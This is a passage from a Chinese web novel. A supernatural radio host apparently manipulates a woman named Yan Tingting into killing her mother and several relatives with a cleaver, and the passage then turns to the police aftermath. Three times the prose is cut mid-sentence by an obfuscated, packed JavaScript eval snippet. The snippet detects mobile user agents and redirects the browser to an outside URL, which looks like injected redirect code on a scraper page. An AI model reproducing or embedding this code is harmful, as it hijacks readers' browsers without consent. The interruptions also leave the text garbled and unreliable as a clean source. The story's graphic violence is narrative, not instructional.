她的眼泪混着愤怒一起掉下来,矛头从祝好歌身上移开,自言自语地大叫,两手插进头发里:“我已经很努力了!我已经在忍她了!她每天都在说我、指责我…我明明已经过得很难了,她为什么还要把她的压力全都丢给我?!” “凭什么啊…”她低声重复,像是在问谁,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459175|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是在问自己,“为什么所有人都要这样对我?” 怨气死死地纠缠住了她。 她明明有着胜过大多数人的家境,甚至还是家里的独女,可是父亲就这样在给了她一套房子后便暗示从此划清界限,她可以往家里带东西,却不可以从家里拿出一分一毫。 家里的钱不是她的,甚至可以分给舅舅的男儿也不给她;家里的爱也不是她的,哪怕是高中班里最懂事的贫困生也不会在高考前还要给一家人做饭。 可是她能怎么办?艾珂知道遇到严婷婷是她最大的幸运,可是严婷婷不是一个男人。但凡她是一个男人,那艾珂也能像所有贤妻良母那样去无怨无悔地支持严婷婷。 ——艾珂的脑子里,所有的念头打成一个死结,她完全放弃去思考,只是想到什么,就说什么,就做什么。 祝好歌站在原地,看着气急败坏的艾珂。 她慢慢意识到了一件事。她错了。 她一直把注意力放在艾珂身上。因为艾珂给她一种更明显的会被蚕食的脆弱感,更容易被伤害,也更容易被利用。 对艾珂这样秉性之人的不喜欢蒙蔽了祝好歌的双眼,让她在即便觉得严婷婷做的事有些过分的情况下,依然觉得严婷婷没什么问题。 可是艾珂与严婷婷是典型共依存的关系。一个人,习惯于依附,通过被照顾、被指引来维持安全感,另一个人则习惯于被需要,通过“纠正”另一个人来拯救她好获得自我价值。 她们彼此绑定,彼此强化,如果说艾珂的身上有着强烈的对恶的吸引和懵然无知间种下的恶的种子,那严婷婷的身上也是一样。 ** 萧瑟的风从街道尽头吹过来,好好的夏天,因为逐年加剧的厄尔尼诺现象而变得喜怒无常般的寒凉。 严婷婷走得很快,她的脚步像她的人一样利落,运动鞋擦着地面哗哗的。 市政一个拍脑门的决定,她们这些小老百姓就不能随便想把共享电动车停在哪里是哪里,必须得找到位置才可以。严婷婷不得不在距离租房老远的位置下车,再吭哧吭哧地爬着老城区这起伏不平的上坡路。 从艾珂家出来已经好一会儿了,可她的胸口还在起伏,情绪没有完全落下去。 虽然不想承认,可是艾珂却也是她唯一的朋友。 唯一的好朋友。 可她没有回头,她也不想回头,她可以做到的。她舍弃过无数的关系,再亲密,都无所谓。 手机还在手里,屏幕亮着,她像前几次那样点进那个电台播间,看到主播的连线还是空的,严婷婷莫名地开心起来。 至少...至少还有一个人在等着自己。 “让我们再等一等,我和她说好了,会一直和她连线的。”主播说话了。 这个主播的声音很难听,第一次在刷那种语音电台直播到这个播间的时候严婷婷被吓了一跳,还以为是什么人在恶作剧或者手机坏掉了。但是不知怎么的,也许是听习惯了,也许单纯是自己很需要一个真正能支持自己的人,严婷婷觉得只要听着她说话,内心就会平静下来。 严婷婷立刻选择了连线。 “果儿姐姐,你在听吗?”她张了张嘴,语气十分乖巧。 和艾珂相处时,严婷婷是说一不二的暴君,她可以随意地质疑和指出艾珂的错误;和祝好歌相处时,她是强势的自大狂,虽然想要努力地释放善意,却从未真对她人产生过兴趣,永远只是以艾珂作为中心把话题围绕在自己身上。 可是在这里,她虚心地听着主播对她的一切教诲,小心翼翼地,生怕这个主播不再喜欢她似的。 “我来了,今天有很多事,耽误了。”她轻声说。 那头的人笑了一下,随即传来一些清脆的珠子碰撞的叮咚声。 “今天过得不好吗?”主播问道。 严婷婷的喉咙忽然一紧。她努力想要按下心头的感觉,走到路边,停住,蹲下,抱住了自己,眼泪还是落了下来。 她根本都不想回那个家。 “…嗯。”严婷婷想不到自己居然真的这样回答了,她从来都是那个不允许自己“过得不好”的人,可现在,她居然承认了,而且告诉了这位主播后,她竟不觉得过度恐慌,只觉得畅快。 是啊,还有哪里能让她这样安全地暂时自己的软弱呢? “可怜的孩子,”她说,那一直不间断的好听的细碎动静停了下来。 严婷婷感觉自己甚至看到了主播为了好好地与她对话而正襟危坐的样子。 好温柔啊。严婷婷想。 低下头,严婷婷盯着地面上被路灯拉长的影子。 “果儿姐姐…”她又一次呢喃着叫出这个名字。 说实话,听到主播介绍自己的时候,一开始她还以为这是什么少儿节目,不然哪个面向成年人的频道主播会叫这种名字,可是现在她却明白了,她觉得自己就像是退行到了孩提时期,只有那远在天边的永远洋溢着热情与快乐的主持人,才能哄着她感到一丝丝的安慰。 她就是果儿姐姐的好孩子,她愿意听她说一切话。 “你说的真对。”严婷婷的声音有点发颤,“我身边…真的没一个好人。” 细窄的街道和高低的落差让风极速从树梢上掠过,街道两旁的树叶剧烈地晃动,被撼动了枝节。 在这些摇摆不定的枝叶间,一只又一只细小的白影悄然停驻。 白色的鸟儿站在高处,在暗处被染上黑色,静静地看着她 无数双眼,密密麻麻。 好多叶子落了下来,可夏天本不该这样的。 6. 后遗症 在是一整个被堆叠出来的、没有边界的空间里,光从四面八方落下来,却没有明确的源头。 金色的、赤红的、幽蓝的光层层叠叠,液体一样在空气里缓慢流动,把本就华丽的一切照得更加耀目。所造成地面的,是一层由金币、宝石、碎裂的镜面与不知名的光滑物质铺成的“堆积”,踩上去会发出细碎的声响,像无数细小的东西在互相摩擦。 到处都是珍宝,不分种类,不分年代。 古旧的金器、嵌满宝石的器皿、颜色艳俗的琉璃首饰、甚至还有一些明显来自现代商场的廉价摆件,被随意地堆在一起,形成一种毫无章法的混杂。它们没有被珍惜地摆放,而是像被掠夺、被吞食后吐出来的残渣,堆积成山。 空气里有一股甜味。 是某种果实熟透后开始发酵的气息,这腐烂的精华在变成浓醉的珍酿前已泛滥得让人头晕。 洪猓就躺在那波澜的“光芒”之中。 她的身体陷在一层厚得过分的羽毛绒被里,看不出是什么鸟儿的羽毛,白色的底羽嵌着金色与粉红的反光,柔软无比。她整个人懒散地、近乎四仰八叉地侧着,像一只没完全消化的野兽,毫不体面地晒着肚皮。 手里正捏着一个水晶杯。 这杯子很漂亮,透明得近乎不存在,边缘却带着细细的裂纹,只是杯中空无一物。 洪猓用指尖轻轻转动它。 “叮——” 水晶碰撞的声音在空间里扩散开去,清脆得有点刺耳。 她低头看了一眼杯子,舌尖轻轻舔了一下嘴唇:“空了。”她说。 把杯子举起来,她对着那没有源头的光看了一眼,像是在确认什么,又像只是觉得好玩。然后,她忽然把它放下,那伸了个懒腰。 肩膀、腰线、腿,一寸一寸地舒展开来,黑色犹有实质的光从身躯到四肢末端缓缓褪去,露出她和普通人一样的肉色皮肤。身下的羽毛被压出细碎的痕迹,又很快恢复。 她坐起身,脚踩在那层堆积的珍宝上,发出“窸窸窣窣”的声响。 这里太乱了,洪猓的注意力很快被自己脚边的一枚金戒指夺去。弯腰把它捡起来,套在手指上试了试,她又厌弃地将它扔开。 “都是俗物。”她说。 一声长长的叹息从某个角落传来,洪猓的三角形的尖耳瞬间立起,指向那边。 “死鸟。”她骂了一声,慢慢往前走。 每一步都会踏碎那堆混乱的光与物,她的脸上露出某种暴怒一般的神情,可是她的身体姿势却只是在一个属于自己的游乐场里随便走动,对一切都没有太多兴趣,又对一切都抱着一种随时可以玩一玩的心态。 直到她走到一个纯金的笼子前。 和那些都变得暗淡的金子不同,这笼子的金属的光泽过于明亮,甚至带着些刺眼的锐利。笼子只是普通的巨大鸟笼,却异常精致,每一根栏杆都被精心雕刻过。笼门上挂着一把金锁,锁链拖在地上,缠绕成一团。 洪猓伸手抓住了那条锁链。 “哗啦——”金属碰撞的声音响起,在整个空间里回荡。 笼子里的“女人”动了一下,她全身都是纯白的。绒密的洁白羽毛将她层层包裹,令她哪怕是跪在笼子深处,都像一只昂首就戮的鸟。 ——如果忽略她的表情的话。 那张脸上没有任何情绪波动,当然也没有“意识”存在的痕迹。 洪猓只看了她一眼,确认了那叹息只不过是无形态的风穿过空洞的尸体。 这就让洪猓对她丧失了兴趣,她可从来不会对已经完成的东西付出更多的精力。她有着无穷的扫兴,要让有趣的事情来填满。 手还抓着那条锁链,指尖无意识地慢慢摩挲了一下,洪猓忽然笑了一下。 她张开嘴,尖牙密密麻麻地春笋般探出来,对着某个不存在的方向。 她的目光穿过这个空间,穿过那些光、那些堆积的珍宝、那些没有边界的虚空,直接接入了另一个人的视线。 街道。 路灯。 风。 耳边无尽的活物坠地的软钝噪音。 严婷婷一路伴着这些动静走回去。 夜风吹在脸上,本该让人清醒,可她脑子里像塞满了湿透的棉絮,沉甸甸地晃着。 纵然她住在偌大都市的边角,远处市中心CBD的霓虹依然模糊地拖在她的眼里。夜间遛狗的路人一个个擦身而过,她们向严婷婷打着招呼,她们都认识这个上班十分辛苦努力的女孩,后者却懒得理她们。 “小严也不容易。”路人们窃窃私语道。 手机还攥在严婷婷的手里,屏幕早就暗下来,可那道声音却还残留在耳边,像一点黏糊糊的糖浆,贴着她的耳道慢慢堵住她听到一切其它话语的可能。 ——人要为自己而活。 果儿姐姐说出来的不过是最简单的道理。这真是叫人委屈。严婷婷一路上都在反复想着这句话,越想越觉得胸口里有什么东西在发酸发胀,一个长期被硬塞进角落里的念头,终于找到了可以钻出来的缝。 回到出租屋时,楼道里的声控灯坏了一半,昏黄的光一闪一闪,把墙上斑驳的污渍照得像一层一层脱落的皮。严婷婷掏钥匙开门,一推开,熟悉的老房子下水道的霉臭味、通风不及时滞留的饭菜味和老年人久病后房间里特有的闷气一齐扑出来,一块湿布似的兜头蒙在脸上。 她随便地脱鞋踢到一边换上拖鞋,先往里间走。 母亲正躺在那张靠窗的小床上,床头柜上放着水杯、药盒、纸巾,还有半碗严婷婷特地给她切好留着当零食吃的苹果。 母亲的半边身子因为多年偏瘫而明显有些歪斜,脸也浮肿着。严婷婷最怕看到她,因为只要一见到自己回来,她第一句话永远是抱怨。 怎么这么晚。你是要饿死我。我吃不了药我要死了。你是不是根本不管我死活了。 这些抱怨就是这个“家”里的一部分,理所当然地存在着。 今天居然有些不一样。 母亲一看见严婷婷,竟然先愣了一下,随即露出一点很久没有过的十分柔和的神情,声音也轻了下来:“婷婷啊,怎么今天回来这么晚?是不是公司那边又有难处了?” 严婷婷站在原地,一时间竟没反应过来。 “是不是遇到难处了”落进耳朵里,像一根细针猛地挑开了她脑子里某一处早就结痂的地方。她以为自己早已经不在乎这种廉价的关心了,每当幻想到这样的情景时,也只会觉得这会是下一段指责的铺垫。可当母亲真的这样问出来,她还是不受控制地恍惚了一下。 仿佛又回到了很久以前。 那时候家里...还好。父亲虽然时常不耐烦,但至少还在。母亲也还没瘫,也没那么多病气,晚上会拿着扇子给她赶蚊子,哄她睡觉。逢年过节切鸡炖肉,总会把最嫩的那一块先夹给她,笑着说婷婷多吃一点,以后长高高。 严婷婷把脸猛地扭开。 她一言不发地走过去,先把母亲扶起来。母亲身子发沉,半边腿使不上劲,一挪动就会不知是幻痛还是真痛地喘。严婷婷熟练地把她的胳膊搭到自己肩上,扶着她慢慢往卫生间挪。她动作利索,神情却很紧绷绷,生怕自己一松懈,眼泪就会掉下来。 “早知道…”她心里忽然升起一点迟来的埋怨,“早知道就该早点回家。” 不该每天都在公司待到深夜,不该明明没那么多班也硬要拖着加,不该明明知道母亲一个人待在家里连翻身都费劲只有满心的恐慌,却还是宁可在外面耗着,也不愿意回来面对她那无穷无尽的唠叨和怨气。 可这个念头刚冒出来,她脑子里又猛地掠过艾珂的脸。 艾珂。 这个女人哭哭啼啼地抓着她的手,她那副永远软绵绵、永远让人放心不下的样子...她居然为了一个刚认识两天的男人,就想要抛弃自己。 严婷婷的心一下子又硬了。 她和艾珂,其实是很偶然才认识的。她大学时是一个男明星的粉丝,对方在外地有见面会,她很想去参加,正好刷到艾珂发在网上的拼房帖子,语气客气又谨慎,头像是一只白乎乎的小猫,看起来就一副很好说话的样子。两人因此搭上话,一起订酒店,一起去排队,一起熬夜抢票。 后来就这样慢慢地熟了,严婷婷惊讶地发现艾珂根本就是另一个自己,只是艾珂家里条件更好而已,可也正因为这样,才显得她更可怜。 一个人明明可以不必活得这么卑微,却还是被养成了这样一副样子——柔顺、体贴、怕冲突、怕失去,永远在退让和忍耐。 在一开始,严婷婷是本能地想拉她一把,像在拽住另一个更软弱还来不及长出刺的自己。她在艾珂身上花了太多时间,太多精力,甚至把自己原本能用来喘口气的那一点力气都搭了进去。 结果呢? 扶不上墙的烂泥。 想到这里,严婷婷扶着母亲坐到马桶上,她又沉浸在了恨意里面:早知道这样,她还不如把那些时间都拿来陪伴母亲,或者存钱给自己报个课之类的,起码不会落得现在这样,几年的友谊与时光错付,里外都不讨好。 再次扶母亲回床上后,严婷婷开始在屋里收拾。 她的生活如果抛却和艾珂一切聊天约会的内容,也只剩下这些。先把桌上的碗筷洗掉,再把母亲可能弄脏的衣物被褥丢到洗衣机里,再把地上的碎屑扫掉,然后热饭。母亲没有一个完整的觉,所以一向是随着她的作息来作息。 习惯成自然,严婷婷做这些事时动作一向很快,因为太熟练,甚至不需要怎么想。 可收拾着收拾着,她忽然觉得哪里不对。 冰箱里面空了许多。 严婷婷做饭从来都是按几天的量来做。她工作忙,回家还要照顾母亲,不可能每天现炒现做,所以她会在周末或者稍微空一点的晚上,一次性做够三四天的菜,分装进保鲜盒里,这样回家热一下就能吃,比外卖还健康。可现在,冰箱里原本整整齐齐码着的那几盒菜,居然少了一半。 她愣了一下。 说起来,一进家门她就觉得哪里有点不对,但她忽略了这些,以为是自己记错了。 早上出门前换下来的拖鞋被踢歪了,横横地卡在墙边。她是一个不太讲究的人,平时虽然也爱踢拖鞋,但是基本上不会搞得那么靠边,那样的话就不方便她晚上回来穿了。再往阳台走,她养的那几盆绿植也像被人动过,叶片朝向乱了,连花盆底下垫的盘子都偏了一点。 严婷婷的呼吸变得局促。 她没说话,走过去,把其中一盆绿植轻轻转了个面。 泥土里,赫然插着半截烟头。 严婷婷的脑子里“嗡”的一声,有根线彻底绷断了。 她觉得自己要疯掉了,她的内心有一个小人在疯狂地咆哮,面上,她却变得异常冷静。 人被逼到极限以后,所有多余的情绪都自动蒸发了,只剩下一种极纯粹的行动欲。 她猛地转身,冲进房间的每一个角落——厨房、床底、阳台柜、厕所门后。一些可能和不可能的地方,她都毫无章法地翻过去。 最后,她停在衣柜前。柜门没有关严,留了一条极细的缝。 严婷婷盯着那条缝看了两秒,然后一把拉开。 一个男人蜷缩在里面。 或者说,一具男人的尸体。 他瞪着眼,眼白暴突,嘴巴半张,脸色发青发灰,双手蜷着卡在脖子前面,像是呼吸不过来想要扯一扯衣领似的。他的身上还带着一股汗臭、烟味和男人特有的浑浊体味。 那死相狰狞得近乎滑稽,一个偷偷钻进别人家里的败类,最后却以最肮脏的体态死去。 严婷婷看着他,心里居然没有恐惧,只有一种极端的、空白的愤怒。 她一把抓住尸体的脚踝,硬生生把他从柜子里拖了出来。尸体在地板上摩擦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459176|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出沉闷又刺耳的拖行声,脑袋时不时撞到柜角和墙边,“咚”“咚”地响。 她就这么一路拖着他,拖到母亲床前。 母亲本来还靠在床头,一脸惊疑不定地看着严婷婷因为拖着什么重物而狼狈地像个疯子,再等看清那是具死尸时,整个人猛地一颤,眼睛瞪得几乎要裂开。 严婷婷大喘着气,拍拍自己的手,蹲下来,仰头看着母亲,耐心地问:“妈,解释一下,这是什么情况?” 母亲的嘴唇哆嗦了两下,脸上的血色一下子褪得干干净净。她是想狡辩和糊弄来着,想继续摆出平时那副无理取闹后就变得半死不活、任人宰割的可怜样,可在那具尸体面前,在严婷婷此刻过分安静的注视下,她终于撑不住了。 她猛地尖叫起来,声音又尖又哑:“我是为你好!” 几乎震得连屋顶都发颤。 “你都这么大了还不嫁人!”她咆哮着,脸都扭曲了,“我看到你这样失败,我真不如去死!” 严婷婷看着她,忽然觉得面前这张脸陌生得可怕。 这早就不是她的母亲了。 她的母亲会在她发烧时整夜守着,会笑着给她扎辫子,虽然柔弱不像别的母亲一样会为了自己的孩子而撒泼,却也会在她被别的小孩欺负后瞒着父亲多给她煎一个鸡蛋。 她的母亲不是眼前这个披着病人皮囊、满嘴“为你好”、却和不知道哪来的男人一起算计她的人。 可母亲是从什么时候开始变的呢? 严婷婷一直以为,转折是在那次生育之后。 母亲体弱,本不适合生育,但和父亲结了婚后,她也就稀里糊涂地生下了严婷婷。说好的只要一个孩子就够了,却在严婷婷上了大学后,越来越多的身边人或因为孤独、或因为些别的原因而追二胎的情况下,家里和两边的亲戚都疯了一样地劝,说只生一个女儿哪行,至少要有个男儿傍身,以后老了才有依靠。 母亲也就信了,明明年纪已经不小,还是硬着头皮去拼二胎。结果孕期就出了问题,高血压、蛋白尿、下肢水肿一路拖着,到了后期发展成严重的子痫前期,生的时候大出血,人几乎没了半条命。孩子没保住,母亲自己也因为脑出血和产后并发症落下了偏瘫,后半辈子就这么毁了。 父亲看见这副烂摊子,很快就跑了。 说是去外地打工,后来干脆跟别的女人混到一起,只剩下一点若有若无的赡养钱,连个电话都懒得打。那以后,母亲的脾气越来越坏,嘴也越来越毒。 严婷婷无法割舍那曾经疼爱自己的母亲的记忆,所以一直试图说服自己她是因为病了,因为被抛弃了,因为活成了半死不活的人,才会这样。 自己已经独立,那些催婚的所谓亲戚也就来明里暗里来探口风,像像给牲口估价一样盘算她的年纪和工作,她也都忍了。她告诉自己,母亲已经够苦了,她可以不完美地照顾母亲一辈子。 可她忍到今天,换来的却是—— 母亲和那些人串通一气,把男人塞进她的屋子里。 让那种脏东西吃掉她然后毁掉她,好顺理成章地把她“嫁”出去。 严婷婷看着母亲,忽然觉得胸口里最后一点东西也死了。 ——也许从一开始,她就不是自己记忆中的那样的母亲,是自己在多年的折磨下,幻想出来一个美好的形象来麻痹自己。 她慢慢站起身,眼神平静得像一滩冻结的水。 “那你就去死吧。”她说。 ** “严婷婷住哪里?”祝好歌问。 被她问得一愣,艾珂原本的气势全无,她张了张嘴,声音小得几乎听不见:“我…我只知道她住在青阳区。” “具体地址呢?” 艾珂摇头,眼神有些慌乱:“我不知道…” 这些年来她和严婷婷几乎什么都一起做,严婷婷对自己的情况更是无所不知,而严婷婷甚至也是连支付密码也都会告诉她。 可是,她却不知道严婷婷住在哪里。 “她...她家里好像不太好,所以她从来不说,你别想多。”艾珂下意识地替严婷婷找补,这才又反应过来,“你问这个干什么?” “你还有别的她的信息吗?”祝好歌像严婷婷那样只问不回答,果然,艾珂很快就晕头转向地顺着她的话继续说了:“嗯...身份证号可以吗?我帮她买过车票。” 祝好歌点了下头,拿出手机拨通了一个号码。 电话响了几声才被接起,那头传来带着困意的声音:“…喂你好?” 是卫帆。 祝好歌没有寒暄,直接开口:“卫警官,我需要你帮我查一个人。” 电话那头安静了片刻,卫帆似乎从睡意里清醒了一点:“怎么了?” 祝好歌快速说了几句,把严婷婷的情况简单带过,又报出了艾珂提供的身份证号:“能不能通过实名手机定位她现在的位置?” 传来的卫帆的声音慢慢变得清晰,也带上了一点职业性的警觉:“你的意思是,你觉得这个人可能会犯罪,所以要我们现在就根据她的实名信息去追踪她?” “这太荒谬了。”她说。 祝好歌不再解释了,反正也没有用,她直接挂了电话。 艾珂站在一旁,神情不安:“婷婷到底怎么了?是因为我吗?” “你好好注意自己的身心健康吧。”祝好歌不耐烦地甩下这句话就出了门。 正好一辆出租车路过,祝好歌就让司机去青阳区,在那里的大路上先绕着。 “啊?”司机狐疑道。 “随便绕。”她重复。 看了她一眼,掂量着她不像是什么找茬儿的人,司机最终还是踩下油门。 祝好歌靠在后座,把车窗摇开一点。风从外面灌进来,她也从包里拿出手机,点开收音机。 电流声瞬间在车厢里铺开。 她的手指落在调频滑块上,缓慢地移动。 7. 灭|门 严婷婷站在楼道里时,手里的刀还在往下滴水。 她出门前顺手把刀在水龙头下冲过了一遍,只是某种毫无意义的仪式罢了。刀只是家里厨房最普通的一把斩骨刀,沉,旧,刀柄有些发滑。她无数次想过,“过了年涨了工资”就换一把新的,最终还是没换掉它。 一来,是旧物件用惯了就不舍得了,二来,是不值得把还能用的物件就这么扔掉,太奢侈。 此时握着它,严婷婷竟意外地觉得很稳。 楼道里的声控灯亮了又暗,暗了又亮,把她的影子一截截切断。她刚从自己家出来不久,身上还带着那股混杂着药味、尸味和旧房子潮气的气息。 她平静得像终于从某种长年的梦魇里醒过来,醒来之后发现所有该怕的、该痛的、该犹豫的东西都已经被掏空了。 她先去的是小叔家,她父亲的弟弟。 那地方她太熟了,逢年过节去过无数次。楼层,门牌,门锁有时会卡顿一下,要把钥匙往里压一压再拧开——她小时候还帮着跑过腿,倒垃圾一次垃圾能够买一瓶可乐。 当然,她没有钥匙,于是她抬手敲门。 半夜的敲门声在寂静里显得格外清晰,屋里很快传来拖鞋趿拉地面的声音,越来越近。 开门的是小叔家那个高中辍学后一直混在家的男儿。 男孩顶着一头乱发,脸上还带着熬夜打游戏后的油光和困意,门才拉开一条缝,嘴里就先不耐烦地骂起来:“你们送外卖的怎么不看备注——” 他的话没说完。 严婷婷抬手,刀锋在灯下一闪。 男孩的咒骂硬生生断成一截,整个人踉跄着后退,眼里的困意在极短的一秒里变成纯粹的惊恐。 尖叫声里,屋里的灯接二连三地亮了。 小叔叔母、还有他的母父全被惊动了。严婷婷就站在门口,把门关上,脚下是被推开的鞋柜和散乱的拖鞋,手里那把刀沉甸甸的,像把她和过去所有的忍耐都拴在了一起。 “为什么要这样做?”她问。 屋里的睡眼惺忪地看着她,大脑无法处理眼前的一幕。 “你们为什么总要插手别人家的事?”她又问,“为什么非要把我往死路上逼?” 这话说得太平静,反而让人更畏惧。被叫做奶奶的那个先反应过来,哆哆嗦嗦地想骂,看到躺在地上的好大孙和滴着血的刀,嗓子却像被什么卡住了,只剩下尖利的哭腔。小叔脸色惨白,一直往后退,一边说:“都是一家人,婷婷你冷静一点。” 可严婷婷没有再听了。他们开始求饶的时候,她已经什么都听不进去了。 出租屋柜子里的那个人她认识的,就是小叔母过年时来介绍的相亲对象。她们母女俩被从那个家赶出去后,这还是第一次见到父亲这边的亲戚,结果就是这样一遭事。 严婷婷记得,从那之后,小叔母就常去拜访,母亲对此很感动,而她因为不想听那些“你妈都这样了你还挑什么”“这个年纪再不抓紧以后就没人要了”的话,从不见这所谓的亲戚,想来,这家人就是这样拿到的家里的钥匙。 眼见着安排相亲不成功,他们急不可耐地就想这样把自己“卖”出去。 刀落下去的时候,严婷婷觉得畅快无比。 屋里很快乱成一团,哭喊、碰撞、求饶和短促的惨叫挤在一起,又一阵阵地很快沉下去。严婷婷只是一个普通的、甚至有些亚健康的白领,可是她手里的刀,轻易地完成了对这群只敢挑软柿子捏的垃圾的斩|杀。 等屋里彻底安静下来时,声控灯又在门外亮了一次。 严婷婷大口喘气,她确实累了,但是她一点也察觉不到。 “对,你做得很棒,我为你骄傲。” 隐约间,她好像听到了一个声音在鼓励自己——不过已经无所谓了,反正她就是要这么做的。 接着是大舅家。 那一路上,她几乎没想什么。再大的都市,到了夜晚也像被掏空了一样。偶尔一些24h便利店里有一些夜猫子出入,她依然像是脱离了这个世界的运行规则,沿着那些把她逼得死掉了的亲戚关系,一户一户地走过去。 大舅家的人醒得更快。 比起小叔,严婷婷对大舅更不熟悉,翻过来他们对“严婷婷”这个名字也只还残留着某种印象了,他们看见她的第一眼甚至是茫然,像不明白她为什么会在这个时间、这个样子出现在门外。 大舅妈最先反应过来,尖着嗓子问她是不是疯了,又立刻改口说“有事明天说”。大舅则在看见刀的瞬间脸色变了,立刻去摸手机。 严婷婷还是先问了。 “大舅,她是你的亲妹妹,是你一母同胞的血亲,你为什么要害她?”她问,“你知道她身体不好,你知道她没有了母父,你就是唯一的依靠,你为什么也不站在她这一边?” 大舅反应了好一会儿都不明白严婷婷在说什么。 难道他一点都不觉得自己的妹妹在自己劝说下选择高龄妊娠然后瘫痪、人生彻底被毁,是他的责任吗? 严婷婷觉得他是知道的,不然为什么这么多年,根本不敢来看母亲一眼。 后面的事,就像第一场的延续,只是换了屋子,换了一波人,但是同样惊惶失措的表情。 血缘、伦理、长幼、亲疏,在这一夜全都变得苍白又可笑。她砍下去的时候,脑子里只有一片空白,没有恨,也没有怜悯,只有一种近乎机械的笃定。 这些人,原来早就不该留在她的生活里。 最后,是她父亲的新家。 这套房子比前两处都要亮堂得多。防盗门是新的,门口还摆着儿童小车和粉色的小鞋。她站在门外时,恍惚着意识到里面住着她的父亲。 门开得很慢。父亲显然也没想到会在这个点看见她,起初还带着一点不耐烦和惊诧,等看清她手里的刀后,脸色才真的变了。 他往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459177|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退了一步,张口第一句不是“你怎么了”,也不是“出什么事了”,只是本能地先问:“你来干什么?” 严婷婷看着他,忽然觉得这个人老得很快。 可他的眼睛还是和从前一样。那种永远先衡量利弊、先想自己是不是会被牵连的眼神,一点都没变。 自己身上这些恶臭的、逃避责任的、极端的一面,也是遗传自他吗? 父亲的现任闻声从里屋出来,身上还穿着家居服,她怀里抱着个小女孩,那孩子也被惊醒了,揉着眼睛,迷迷糊糊地叫了声“妈妈”。灯光把她们两个照得很清楚,女人惊慌,却没有恶意,小女孩困倦又无知,只是下意识地往母亲怀里缩。 严婷婷知道这个女人,她是一个很能干、价值观却很传统的女人,被父亲和他身边人隐瞒过去的一切就这样结了婚,之后哪怕知道了他做的那些事后,还是割舍不下,不愿离开。 即便这女人知道自己的枕边人那样禽兽,却也没想过哪怕偷偷地去补偿一下他的前妻。严婷婷明白,父亲的现任没有这个义务,可她也不认同这女人算得上无辜。 只是这女人毕竟和这些事情无关。 至于她们两个的孩子...是啊,那孩子身上也流着父亲的血,可到底也是这女人的骨和肉,是在她的肚子里一点一点长大的,就像严婷婷自己和她的母亲一样。 “带她进去。”她对那女人说。 “你!”父亲虚张声势地大吼了一声,“你到底想干什么?” 严婷婷没有看他以外的任何人:“她们跟这件事没关系。”她说。 大半夜的,那女人也是搞不清楚发生了什么,却也听懂了严婷婷话里的意思,连滚带爬地就躲进了卧室,锁上了门。 “婷婷,我对不起你妈,也对不起你,我以后会补偿你的。你看,我之前日子不好过,但现在好过了,你、你先把刀放下...”被叫做父亲的男人说,声音颤抖。 严婷婷记得,父亲在儿时总是那样的高大。他总是说,他是男人,生来比女人强,所以妈妈和她都要听他的。现在,父亲虽然老去,看上去倒也健壮。 不过这一切在严婷婷手里那给自己和母亲做饭的刀刃之下,也不过是一块巨大的肉。 ** 祝好歌赶到时,严婷婷目光呆滞地坐在客厅里。 知道自己到底是来晚了,祝好歌不顾严婷婷精神状态不佳还拿着都砍卷刃了的刀,冲上去抱住她,用力摇晃:“你何必这样做!你是在把你的人生,你以后的一切全都毁了。” 严婷婷没有挣扎,只是看着她,像是听不懂。 祝好歌猛地抬头,对着天花板吼:“你听见了吗?!你彻底毁了她!” “你让她以为这是解脱,可这根本不是选择。她不应该以自己为代价给那些该死的人陪葬!” “她不是那样的坏人,再大的仇恨,这样以暴制暴,也只会把人变成同一种东西...” 8. 失信 卫帆在会议室门口停了好一会儿,才下定决心伸手推门。 总是要见她的。 门轴发出很轻的一声响。大概是某种不想让人感到舒服的故意,屋里冷气开得十足,白炽灯照得桌面亮亮的,很晃眼。祝好歌就坐在靠墙的位置,背微微弓着,像是被刚才那一轮问询抽走了不少力气。她脸色比印象里那个执拗的女孩要差很多,嘴唇也有些发白,手指搭在膝上,指节却绷得很紧。 一看到她,卫帆的心里就有点发堵。 不仅仅是愧疚那么简单,更是一种说不清的别扭。 就在几个小时前,祝好歌还在电话里几乎是命令式地要求她们去查严婷婷的位置,说她可能会犯下重罪,让警方立刻动用全市监控还有人脸识别系统,最好还要配合上实名手机来定位她的所在。卫帆那时只觉得荒谬。她甚至有点生气,觉得这是把执法当儿戏。 结果现在,事情竟真朝着那个方向滑了过去,一摔到底,十分惨烈。 第一轮心理鉴定出来得很快,结论却一点都不让人轻松。说是这个叫严婷婷的女孩在作案时出现了突发性的、短时的精神失常表现。这让她在杀第一个人后就彻底进入了高度亢奋的情绪里,以后的手段也就更加激烈,等被控制住时,她看起来也像是刚刚恢复平静的精神病患者一样,整个人都在发抖。 会议室里很安静。 